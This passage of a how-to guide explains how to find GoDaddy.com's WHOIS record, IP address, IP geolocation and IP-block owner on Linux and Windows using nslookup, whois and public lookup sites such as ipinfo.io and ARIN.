2. **Run WHOIS Command**: If you have a **WHOIS client** installed, run the following command:
3. whois godaddy.com
   * If the whois command is not recognized, you can use online WHOIS tools (explained later).

**Step 2: Find the Geographic Location of GoDaddy.com**

You can find the geographic location of **GoDaddy.com**'s IP address by performing an **IP geolocation** lookup.

**On Linux:**

1. **Get the IP Address of GoDaddy.com**: Run the following command to get the IP address of **GoDaddy.com**:
2. nslookup godaddy.com
   * This will return the IP address of the website, for example:
   * Non-authoritative answer:
   * Name: godaddy.com
   * Addresses: 184.168.221.33
3. **Use an IP Geolocation Service**: Now that you have the IP address (e.g., 184.168.221.33), you can use an IP geolocation service to find its geographic location. Open a browser and visit a website such as:
   * [ipinfo.io](https://ipinfo.io/)
   * [iplocation.net](https://www.iplocation.net/)

Enter the IP address you obtained (e.g., 184.168.221.33), and these websites will provide the geographic location, including the country, city, and sometimes additional details like the ISP.

**On Windows:**

1. **Open Command Prompt or PowerShell**.
2. **Get the IP Address of GoDaddy.com**: Run the following command:
3. nslookup godaddy.com
   * The output will give you the IP address of **GoDaddy.com**.
4. **Use IP Geolocation Service**: Visit one of the IP geolocation websites mentioned above, such as [ipinfo.io](https://ipinfo.io/) or [iplocation.net](https://www.iplocation.net/), and enter the IP address obtained to find the geographic location.

**Step 3: Find the Owner of the IP Address Block of GoDaddy.com**

To determine the owner of the IP address block used by **GoDaddy.com**, you will need to perform a WHOIS lookup for the **IP address block**.

**On Linux:**

1. **Obtain the IP Address Block**: First, get the IP address of GoDaddy as shown in **Step 2**.
2. **Perform WHOIS Lookup on the IP Block**: Now perform a WHOIS lookup for the IP address range. You can use the following command:
3. whois 184.168.221.33
   * This will return details about the IP address range, including the organization that owns the IP block, and its geographical information.

**On Windows:**

1. **Obtain the IP Address of GoDaddy.com**: Run the following command in **Command Prompt**:
2. nslookup godaddy.com
3. **Perform WHOIS Lookup on the IP Block**: You can use an online WHOIS service like:
   * [ARIN WHOIS](https://www.arin.net/)
   * [RIPE NCC](https://www.ripe.net/)
   * [APNIC WHOIS](https://www.apnic.net/)

Go to the **WHOIS search** section on these websites and enter the IP address (e.g., 184.168.221.33) to get detailed information about the IP address block, such as the owner (e.g., the organization), and the geographical region associated with the block.

**Step 4: Verify Ownership and Additional Details Using Online Tools**

If you prefer using a web-based approach, there are many online WHOIS and IP lookup tools that can help you gather all the information you need in one place.

1. **WHOIS Lookup**:
   * Use websites like [Whois.domaintools.com](https://whois.domaintools.com/) or [ICANN WHOIS](https://lookup.icann.org/) to check domain ownership details.
2. **IP Lookup**:
   * Use IP lookup services like [ipinfo.io](https://ipinfo.io/) or [iplocation.net](https://www.iplocation.net/) to get the geographic location of the IP address.
3. **IP WHOIS Lookup**:
   * Use [ARIN WHOIS](https://www.arin.net/) to find the organization that owns the IP block. For example, ARIN will tell you the owner of the IP block and its geographical region.